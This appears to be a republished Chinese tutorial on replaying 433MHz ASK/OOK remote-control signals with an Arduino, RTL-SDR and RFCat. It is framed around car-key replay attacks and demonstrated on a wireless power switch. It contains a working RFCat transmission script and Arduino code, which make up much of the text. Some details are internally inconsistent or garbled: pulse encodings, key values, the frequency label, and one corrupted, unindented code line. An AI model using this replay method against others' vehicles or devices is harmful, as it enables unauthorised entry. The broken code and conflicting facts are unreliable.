使用Arduino模块实施无线信号的重放攻击

安全 黑客攻防
一种名为“车钥信号重放攻击”的新型攻击方式已经被国内外的一些黑客普遍使用:他们利用无线电技术来截获你的钥匙卡指令,然后对汽车电子钥匙的信号进行重放来入侵汽车、解锁车门。感觉是不是很高大上呢?

写在开头

无线电已经存在使用了很长一段时间,在这很长的一段时间里诞生了一个名叫火腿族的集体(小编:嗯 对 就是整天吃火腿的那些人^_^ CQ CQ )。无线电和互联网一样:同样存在一些安全隐患,比如:在无线信号的传输中并没有考虑到CRC校验、加密等安全问题。

小情景:如果你在某一天使用无线钥匙卡解锁汽车时候按第二次才成功解锁,那么你的汽车已经被黑客盯上了!

一种名为“车钥信号重放攻击”的新型攻击方式已经被国内外的一些黑客普遍使用:他们利用无线电技术来截获你的钥匙卡指令,然后对汽车电子钥匙的信号进行重放来入侵汽车、解锁车门。

感觉是不是很高大上呢?接下来我们将讨论:如何使用Arduino模块实施无线信号的重放攻击(实现重放一个不归零编码ASK/OOK调制的信号)。

433.925MHz频段在日常生活中很广泛使用:从无线门铃到车库遥控器都有它的“影子”。本文用来重放演示的设备是一个无线控制开关,这种设备在欧洲比较常见,它能够远程以无线的方式控制电器的开和关。

设备如下图所示:

使用Arduino模块实施无线信号的重放攻击

 

总之,信号以不归零编码的方式从发送端传到接收端,随后接收端对信号进行解码并进行处理。不归零码是一种二进制码:‘1’代码正电压,‘0’代表负电压,脉冲的宽度越长代表数据量越大。下面是不归零码的一个示例:

使用Arduino模块实施无线信号的重放攻击

我们使用Arduino Uno和很常见的RF模块以及RF模块的arduino库文件( RC Switch)作为我们的示例。

使用Arduino模块实施无线信号的重放攻击

 

所需材料

● RTL_SDR 亚马逊链接:http://www.amazon.com/NooElec-RTL-SDR-RTL2832U-Software-Packages/dp/B008S7AVTC (或者其他接收设备,USRP等)

● SDR-Sharp: 官网:http://sdrsharp.com(功能类似的其他软件还有:gqrx,HDSDR)

● Arduino Uno 网站:http://arduino.cc/en/Main/Buy

● 433MHz RF Link Set 网站:http://www.seeedstudio.com/depot/433Mhz-RF-link-kit-p-127.html

● 一些杜邦线,面包版

● RC-Switch 库 网站:https://code.google.com/p/rc-switch/

● Audacity 网站:http://audacity.sourceforge.net/download/

● RFCat 网站:https://bitbucket.org/atlas0fd00m/rfcat

步入正题

首先,我们先把Arduino和RF模块连接起来,并且把rc-switch库加入到arduino编译器并把程序下载到arduino中,下图是arduino和RF模块连接示意图。对我的无线433MHz发射模块来说,它有3个IO脚:GND,VCC和DATA。

模块的IO脚直接和Arduino IO脚相连接,其中RF模块的GND连接Arduino的GND,VCC连接Arduino的5V 管脚,DATA任意一个数字管脚。

使用Arduino模块实施无线信号的重放攻击

 

当Arduino和无线模块物理连接正确以后,把下面的代码编译下载到Arduino中。

  1. </*  
  2.   Simple example for sending  
  3.  
  4.   http://code.google.com/p/rc-switch/  
  5. */  
  6.  
  7. #include <RCSwitch.h> 
  8.  
  9. RCSwitch mySwitch = RCSwitch();  
  10.  
  11. void setup() {  
  12.   mySwitch.enableTransmit(2);  // Using Pin #2  
  13. }  
  14.  
  15. void loop() {  
  16.   mySwitch.send("1100101"); // Send the message 0x65, in ASCII, ‘a’  
  17.   delay(1000);  // 1 second delay per transmission; 1000ms  

现在Arduino已近正常工作了,我们通过RTL-SDR和SDRSharp去捕捉信号,考虑到通过无线模块产生信号不是很好的选择,无线模块的频率会随着时间改变,选择AM的调制方式:把SDRSharp频率范围设定在433-434MHz之间。

当我们找到无线模块发射的信号后,记录下来并保存为WAV的文件。用Audacity打开记录的WAV文件,如下图所示,,它是一个相当直接的信号,在没有源代码的情况下,我们假设信号是不归零码编码,脉冲宽度调制(PWM),且是ASK/OOK(幅移键控调制/开关监控-这意味着通过OOK控制开和关来表达数据的存在和不存在),最后一件事我们需要计算信号的波特率,按照下面的步骤计算:

1.在工具的的底部设置长度,选择到信号的长度

2.获取音频的采样率(这里是62500hz)

计算波特率的公式:

1 / (samples / samplerate) → 1 / (22 / 62500) = ~2,840bps

使用Arduino模块实施无线信号的重放攻击

大多数的情况,得到的波特率比较准确的,而且这个参数也是配置RFCat的一个重要参数。鉴于信号是脉宽调制的,我们需要把每个脉冲设定在合适的宽度。不幸的的是这需要反复实验和调试,幸运的是,AndrewMac提供了一个非常完美的脚本RFCat解决了这些问题, 通过RFCat软件,我们能够发射处理的信号并且能使Arduino很容易的接收这些信号,当使用RFCat的时候,我们需要设置一些参数:如下面所示:

首先我们设置调制方式为 ASK/OOK,设置我们的目标频率为 434042000Hz (433.925MHz),本质我们需要设置数据的长度,波特率为 2840bps, 确保发射为最大的功率,并且关闭同步,把同步模式设为0.

假定我们对RFCat已经有了足够的了解并知道如何去使用,下面的脚本有助于我们执行上述的配置和PWM调节,这样有利于我们能接收到匹配的传输信号。

  1. /*  
  2. Script by AndrewMac of andrewmohawk.com  
  3. */  
  4.  
  5. #!/usr/bin/env python  
  6.  
  7. import sys  
  8. import time  
  9. from rflib import *  
  10. from struct import *  
  11. import argparse  
  12. import pprint  
  13. import bitstring  
  14.  
  15. keyLen = 0 
  16. baudRate = (1 / 0.000350) #because the pulse width is 350 in the code  
  17. frequency = 434042000 
  18. repeatNum = 30 
  19.  
  20. def ConfigureD(d):  
  21. d.setMdmModulation(MOD_ASK_OOK)  
  22. d.setFreq(frequency)  
  23. d.makePktFLEN(keyLen)  
  24. d.setMdmDRate(baudRate)  
  25. d.setMaxPower()  
  26. d.setMdmSyncMode(0)  
  27.  
  28. print "[+] Radio Config:"  
  29. print " [-] ---------------------------------"  
  30. print " [-] MDMModulation: MOD_ASK_OOK"  
  31. print " [-] Frequency: ",frequency  
  32. print " [-] Packet Length:",keyLen  
  33. print " [-] Baud Rate:",baudRate  
  34. print "[-] ---------------------------------"  
  35.  
  36. #raw what we are sending    
  37. bin_str_key = "1100101";   
  38.  
  39. #adjust the key to make it longer so that the pulse width is correct  
  40. long_bin_key = "";  
  41.  
  42. for k in bin_str_key:  
  43. x = "*" 
  44. if(k == "1"):  
  45. x = "11100" # <mossmann> A zero is encoded as a longer high pulse (high-high-low)  
  46. if(k == "0"):  
  47. x = "1000" #<mossmann> and a one is encoded as a shorter high pulse (high-low-low).  
  48. long_bin_keylong_bin_key = long_bin_key + x  
  49.  
  50. print "[+] Binary (PWM) key:\n\t",long_bin_key,"\n"  
  51.  
  52. padAmount = len(long_bin_key) % 8  
  53. for x in range(0,8-padAmount):  
  54. long_bin_key = "0" + long_bin_key  
  55.  
  56. print "[+] Binary Padded (PWM) key:\n\t",long_bin_key,"\n"  
  57.  
  58. key_packed = bitstring.BitArray(bin=long_bin_key).tobytes()  
  59.  
  60. keyLen = len(key_packed)  
  61.  
  62. print "[+] Key len:\n\t",keyLen,"\n"  
  63. print "[+] Key:\n\t", key_packed.encode(&#039;hex&#039;),"\n"  
  64. print ""  
  65.  
  66. d = RfCat()  
  67. ConfigureD(d)  
  68.  
  69. print "[%] Transmitting key: ",repeatNum," times\n"  
  70.  
  71. #startString = "11101";  
  72. startStringBin = "000000000000000" + "1000100010001000111001000"  
  73. startkey_packed = bitstring.BitArray(bin=startStringBin).tobytes()  
  74. d.RFxmit(startkey_packed)  
  75.  
  76. d.makePktFLEN(keyLen)  
  77. for i in range(0,repeatNum):  
  78. sys.stdout.write( "." )  
  79. d.RFxmit(key_packed)  
  80.  
  81. #endString = "011";  
  82. d.RFxmit(&#039;\xFF&#039;)  
  83. sys.stdout.write("Done.\n") 

解释一下上面的代码:

首先我们设置了调制的模式,波特率等,并且把这些配置写入到RFCat并使其生效

然后我们设定密钥key,也就是我们要发送的原始数据并把它赋值给变量binstrkey

然后我们改变密钥并认为‘1’表示111000,‘0’表示1000

这样我们原始的密钥(11001101)被定义新的二进制PWM 密钥即 11100111001000100011100100011100。

我们脉冲的宽度是精确的。下一个步骤就是将二进制PWM密钥转换成比特类型,这样数据就不以ASCII发送,然后用二进制PWM密钥的长度去配置d.makePktFLEN(keyLen),这样RFCat在发送时就有固定长度的密钥,现在信息已近设置好了,我们还需要创建开始位和结束位以便Arduino知道我们数据什么时候开始发送和什么时候结束。当这些定义以后,我们执行RFxmit()函数,d.RFxmit(startkeypacked), d.RFxmit(keypacked), and d.RFxmit(‘\xFF’),最后发送为:

00000000000000010001000100010001110010001110011100100010001110010001110011111111

这些信息被发送30次,并且发送10次被认为是一次完整的消息请求。然而,为了检查和确保信号正确的发送,修改repeatNum 等于‘1’,用SDRSharp重新录制并和原始信号比较,发现两者是相同的。

Arduino的接收代码:

  1. /*  
  2.   Simple example for receiving  
  3.  
  4.   http://code.google.com/p/rc-switch/  
  5. */  
  6.  
  7. #include <RCSwitch.h> 
  8.  
  9. RCSwitch mySwitch = RCSwitch();  
  10.  
  11. void setup() {  
  12.   Serial.begin(9600);  
  13.   mySwitch.enableReceive(0);  // Receiver on interrupt 0 => that is pin #2  
  14. }  
  15.  
  16. void loop() {  
  17.   if (mySwitch.available()) {  
  18.  
  19. int value = mySwitch.getReceivedValue();  
  20.  
  21. if (value == 0) {  
  22.   Serial.print("Unknown encoding");  
  23. } else {  
  24.   Serial.print("Received ");  
  25.   Serial.print( mySwitch.getReceivedValue() );  
  26.   Serial.print(" / ");  
  27.   Serial.print( mySwitch.getReceivedBitlength() );  
  28.   Serial.print("bit ");  
  29.   Serial.print("Protocol: ");  
  30.   Serial.println( mySwitch.getReceivedProtocol() );  
  31. }  
  32.  
  33. mySwitch.resetAvailable();  
  34.   }  

此后,接收电路按照下图连接:

使用Arduino模块实施无线信号的重放攻击

运气好的话,你的信号很快就会匹配成功,接收端收到RFCat发送的信号,那么你已经成功实现信号的重放。

责任编辑:蓝雨泪 来源: FreeBuf
相关推荐

2020-09-18 07:21:36

WLAN系统

2018-08-10 06:43:29

2010-10-08 15:55:38

无线路由信号

2012-10-19 15:24:44

2013-05-14 14:28:55

2010-09-27 13:25:39

无线信号

2010-09-08 16:21:00

2009-11-20 17:06:20

无线路由器无线信号

2016-08-23 09:21:33

SDR+inspect无线信号

2009-04-22 17:18:29

ARM

2012-11-01 14:02:04

2010-03-15 09:26:52

无线信号覆盖

2010-08-28 15:28:17

2010-09-06 14:25:16

无线局域网

2010-03-25 13:07:05

无线信号家庭无线局域网

2011-08-10 09:35:38

2010-09-16 20:45:14

2011-01-11 14:11:57

inSSIDer无线网络无线信号抗干扰

2009-09-15 13:37:46

2010-04-16 11:34:22

无线网络实施
点赞
收藏

51CTO技术栈公众号